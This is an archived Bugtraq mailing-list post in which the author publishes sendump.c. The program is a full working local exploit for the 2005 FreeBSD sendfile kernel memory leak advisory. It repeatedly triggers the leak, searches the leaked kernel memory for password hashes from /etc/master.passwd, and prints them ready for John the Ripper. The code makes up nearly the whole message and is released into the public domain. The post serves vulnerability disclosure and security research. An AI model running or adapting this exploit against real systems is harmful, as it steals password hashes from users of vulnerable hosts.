lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <20110401182223.GA30511@openwall.com>
Date: Fri, 1 Apr 2011 22:22:23 +0400
From: Solar Designer <solar@...nwall.com>
To: bugtraq@...urityfocus.com
Subject: 6-year FreeBSD-SA-05:02.sendfile exploit

Hi,

This is almost 0-day.  In a sense.

I wrote this for a pentesting company.  I found it ethically OK to do
since the FreeBSD advisory was already out for a couple of weeks.
It turns out I was not alone to write an exploit for this bug, and to
publish the exploit this year.

Timeline:

2005/04/04 - FreeBSD-SA-05:02.sendfile published:
http://security.freebsd.org/advisories/FreeBSD-SA-05:02.sendfile.asc

2005/04/16 - reliable FreeBSD 4.x local exploit written ...

2005/04/21 - ... and updated to work on 5.x as well (up to 5.3)

2011/02/05 - Kingcope publishes "FreeBSD <= 5.4-RELEASE ftpd (Version
6.00LS) sendfile kernel mem-leak Exploit":
http://seclists.org/fulldisclosure/2011/Feb/83
(By the way, the "<=" is wrong.)

2011/04/01 - Hey, that's today.

<plug>
Openwall is participating in Google Summer of Code 2011.  Applications
from students and mentors are currently accepted.  And this is no joke.
Besides Owl and JtR tasks (for which we're already seeing a competition
among students), we have a number of reasonably crazy ideas that a
student could work on.  Please take a look.  Although our "capacity" for
GSoC 2011 is quite limited, some of these may be worked on outside of
GSoC as well.

http://www.google-melange.com/gsoc/org/google/gsoc2011/openwall
http://openwall.info/wiki/ideas
</plug>

--- sendump.c ---
/*
 * sendump - FreeBSD-SA-05:02.sendfile exploit - 2005/04/16.
 * Updated for FreeBSD 5.x, added alternate hash types, added optional
 * relaxed pattern matching - 2005/04/21.
 *
 * This program is meant to be used in controlled environments only.
 * If found in the wild, please return to ... wait, this is public now,
 * and this program is hereby placed in the public domain.  Feel free to
 * reuse parts of the source code, etc.
 *
 * Password hashes will be dumped to stdout as they're being obtained.
 * There may be duplicates.
 *
 * Debugging may be enabled with one to three "-d" flags.  Debugging
 * information will be dumped to stderr and, for levels 2 and 3, to
 * the "dump" file.
 *
 * Relaxed pattern matching may be enabled with "-r".  This increases
 * the likelihood of printing garbage while also making it more likely
 * to actually catch the hashes.
 *
 * There's some risk of this program crashing the (vulnerable) system,
 * although this is not intentional.  Normally, the program just prints
 * password hashes from /etc/master.passwd in a format directly usable
 * with John the Ripper.
 *
 * Compile/link with "gcc -Wall -O2 -fomit-frame-pointer -s -lutil".
 *
 * Run this on a filesystem with soft-updates for best results.
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <signal.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <pwd.h>
#include <errno.h>
#include <assert.h>

/* for forkpty(); will also need to link against -lutil */
#include <sys/ioctl.h>
#include <termios.h>
#include <libutil.h>

#define Ki		1024
#define Mi		(1024 * Ki)

#define DUMP_NAME	"dump"

#define DUMMY_NAME	"dummy"
#define DUMMY_SIZE	(128 * Mi)
#define SOCKET_BUF	(196 * Ki)

#define DUMMY_RAND_BITS	4
#define DUMMY_RAND_MASK	((1 << DUMMY_RAND_BITS) - 1)

#define MAX_LOGIN	16
#define MAX_GECOS	128
#define MAX_HOME	128
#define MAX_SHELL	128

static char itoa64[64] =
	"./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";

static int debug = 0, relaxed = 0;
static char buf[SOCKET_BUF];

static void pexit(char *what)
{
	perror(what);
	exit(1);
}

static void write_loop(int fd, char *buf, int count)
{
	int offset, block;

	offset = 0;
	while (count > 0) {
		block = write(fd, &buf[offset], count);
		if (block < 0) pexit("write");
		if (!block) {
			fprintf(stderr, "write: Returned 0\n");
			exit(1);
		}

		offset += block;
		count -= block;
	}
}

static void dump(char *buf, int count)
{
	static int fd = -1;

	if (fd < 0) {
		fd = creat(DUMP_NAME, S_IRUSR | S_IWUSR);
		if (fd < 0) pexit("creat");
	}
	write_loop(fd, buf, count);
}

static int nonzero(char *buf, int count)
{
	char *p, *end;

	p = buf;
	end = buf + count;
	while (p < end)
		if (*p++) return 1;

	return 0;
}

static int search(char *buf, int count)
{
	static char prevuser[MAX_LOGIN + 1], prevpass[61];
	char *p, *q, *end;
	int n;
	char *user, *pass, *gecos, *home, *shell;
	struct passwd *pw;
	int found = 0;

	p = buf;
	end = buf + count;
	while (p < end && (p = memchr(p, '/', end - p))) {
		q = p++;
		if (q < buf + (1+1+1+13+2+0+1+1+1)) continue;
		shell = q;
		n = 0;
		while (q < end && *q++ > ' ') n++;
		if (n < 2 || n > MAX_SHELL) continue;
		if (q >= end || *q != '\0') continue;
		q = shell;
		if (*--q != '\0') continue;
		n = 0;
		while (q > buf && *--q > ' ') n++;
		if (n < 1 || n > MAX_HOME) continue;
		home = q + 1;
		if (!relaxed && *home != '/') continue;
		if (q < buf + (1+1+1+13+2+0+1)) continue;
		if (*q != '\0') continue;
		n = 0;
		while (q > buf && *--q >= ' ') n++;
		if (n > MAX_GECOS) continue;
		gecos = q + 1;
		if (q < buf + (1+1+1+13+2-1)) continue;
		if (*q != '\0') continue;
		n = 1;
		while (q > buf && *--q == '\0') n++;
		if (n != 2 || !memchr(itoa64, *q, 64)) {
			/* Doesn't look like FreeBSD 4.x, suspect 5.x */
			if (*(q + n - 13) == '\0' &&
			    memchr(itoa64, *(q + n - 14), 64))
				/* Looks like FreeBSD 5.x */
				q += n - 14;
			else
			if (!relaxed) continue;
		}
		q++;
		n = 0;
		while (q > buf && memchr(itoa64, *--q, 64)) n++;
		switch (n) {
		case 22:
			/* MD5-based */
			if (q < buf + (1+1+1+3+1+1-1)) continue;
			if (*q != '$') continue;
			n = 0;
			while (q > buf && memchr(itoa64, *--q, 64)) n++;
			if (n < 1 || n > 8) continue;
			if (q < buf + (1+1+1+3-1)) continue;
			if (*q != '$') continue;
			if (*--q != '1') continue;
			if (*--q != '$') continue;
			break;
		case 13:
			/* Traditional DES-based */
			q++;
			break;
		case 53:
			/* bcrypt */
			if (*q != '$') continue;
			q--;
			if (*q < '0' || *q > '9') continue;
			q--;
			if (*q < '0' || *q > '3') continue;
			if (*--q != '$') continue;
			if (*--q != 'a') continue;
			if (*--q != '2') continue;
			if (*--q != '$') continue;
			break;
		case 19:
			/* Extended DES-based */
			if (*q == '_') break;
		default:
			continue;
		}
		pass = q;
		if (q < buf + (1+1+1)) continue;
		if (*--q == '*' && q >= buf + (1+1+1+8)) {
			q -= 7;
			if (memcmp(q, "*LOCKED", 7)) continue;
			pass = q;
			q--;
		}
		if (*q != '\0') continue;
		n = 0;
		while (q > buf && *--q >= '0') n++;
		if (n < 1 || n > MAX_LOGIN || q <= buf) continue;
		user = q + 1;

		pw = getpwnam(user);
		if (!relaxed && !pw) continue;

		found = 1;

		if (!strcmp(user, prevuser) && !strcmp(pass, prevpass))
			continue;

		strcpy(prevuser, user);
		strcpy(prevpass, pass);

		if (pw)
			printf("%s:%s:%u:%u:%s:%s:%s\n",
				user, pass,
				pw->pw_uid, pw->pw_gid, gecos, home, shell);
		else
			printf("%s:%s:?:?:%s:%s:%s\n",
				user, pass, gecos, home, shell);
	}

	return found;
}

static void exec_passwd(void)
{
	int tty, pid;

	switch ((pid = forkpty(&tty, NULL, NULL, NULL))) {
	case -1:
		pexit("forkpty");

	case 0:
		execl("/usr/bin/passwd", "passwd", NULL);
		pexit("execl");
	}

	write_loop(tty, "\n", 1);
	close(tty);

	if (kill(pid, SIGKILL) && errno != ESRCH) perror("kill");
	if (waitpid(pid, NULL, 0) < 0) pexit("waitpid");
}

static void usage(void)
{
	extern char *__progname;

	fprintf(stderr, "Usage: %s [-d[d[d]]] [-r]\n", __progname);
	exit(1);
}

static void tune(int argc, char **argv)
{
	int c;

	while ((c = getopt(argc, argv, "dr")) != -1) {
		switch (c) {
		case 'd':
			debug++;
			break;
		case 'r':
			relaxed++;
			break;
		default:
			usage();
		}
	}
	if (argc != optind) usage();
}

int main(int argc, char **argv)
{
	int dummy, lin, in, out;
	int pid;
	struct sockaddr_in sin;
	socklen_t sin_length;
	int optval;
	off_t dummy_size;
	int count;

	tune(argc, argv);

	dummy = open(DUMMY_NAME, O_CREAT | O_TRUNC | O_RDWR, S_IRUSR | S_IWUSR);
	if (dummy < 0) pexit("open");

	if (unlink(DUMMY_NAME)) pexit("unlink");

	lin = socket(PF_INET, SOCK_STREAM, 0);
	if (lin < 0) pexit("socket");

	if (listen(lin, 1)) pexit("listen");

	sin_length = sizeof(sin);
	if (getsockname(lin, (struct sockaddr *)&sin, &sin_length))
		pexit("getsockname");
	assert(sin_length == sizeof(sin));

more:
	exec_passwd();

	dummy_size = DUMMY_SIZE >> ((rand() >> 16) & DUMMY_RAND_MASK);
	if (ftruncate(dummy, dummy_size)) pexit("ftruncate");

	switch ((pid = fork())) {
	case -1:
		pexit("fork");

	case 0:
		out = socket(PF_INET, SOCK_STREAM, 0);
		if (out < 0) pexit("socket");

		if (connect(out, (struct sockaddr *)&sin, sin_length))
			pexit("connect");

		if (sendfile(dummy, out, 0, DUMMY_SIZE, NULL, NULL, 0))
			pexit("sendfile");

		return 0;
	}

	in = accept(lin, NULL, NULL);
	if (in < 0) pexit("accept");

	optval = SOCKET_BUF;
	if (setsockopt(in, SOL_SOCKET, SO_RCVBUF, &optval, sizeof(optval)))
		perror("setsockopt");

	if (ftruncate(dummy, 0)) pexit("ftruncate");

	do {
		count = read(in, buf, sizeof(buf));
		if (count < 0) pexit("read");

		if (debug >= 3) {
			if (nonzero(buf, count)) {
				fprintf(stderr, "NZ (%d)\n", count);
				dump(buf, count);
				search(buf, count);
			} else
				fprintf(stderr, "Z (%d)\n", count);
		} else {
			if (search(buf, count)) {
				if (debug) fputc('$', stderr);
				if (debug >= 2)
					dump(buf, count);
			} else
			if (debug)
				fputc(nonzero(buf, count) ? '+' : '-', stderr);
		}
	} while (count);

	if (debug) {
		if (debug < 3)
			fputc('|', stderr);
		else
			fputs("---\n", stderr);
	}

	if (kill(pid, SIGKILL) && errno != ESRCH) perror("kill");
	if (waitpid(pid, NULL, 0) < 0) pexit("waitpid");

	close(in);

	fflush(stdout);

	goto more;
}
---

Alexander

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ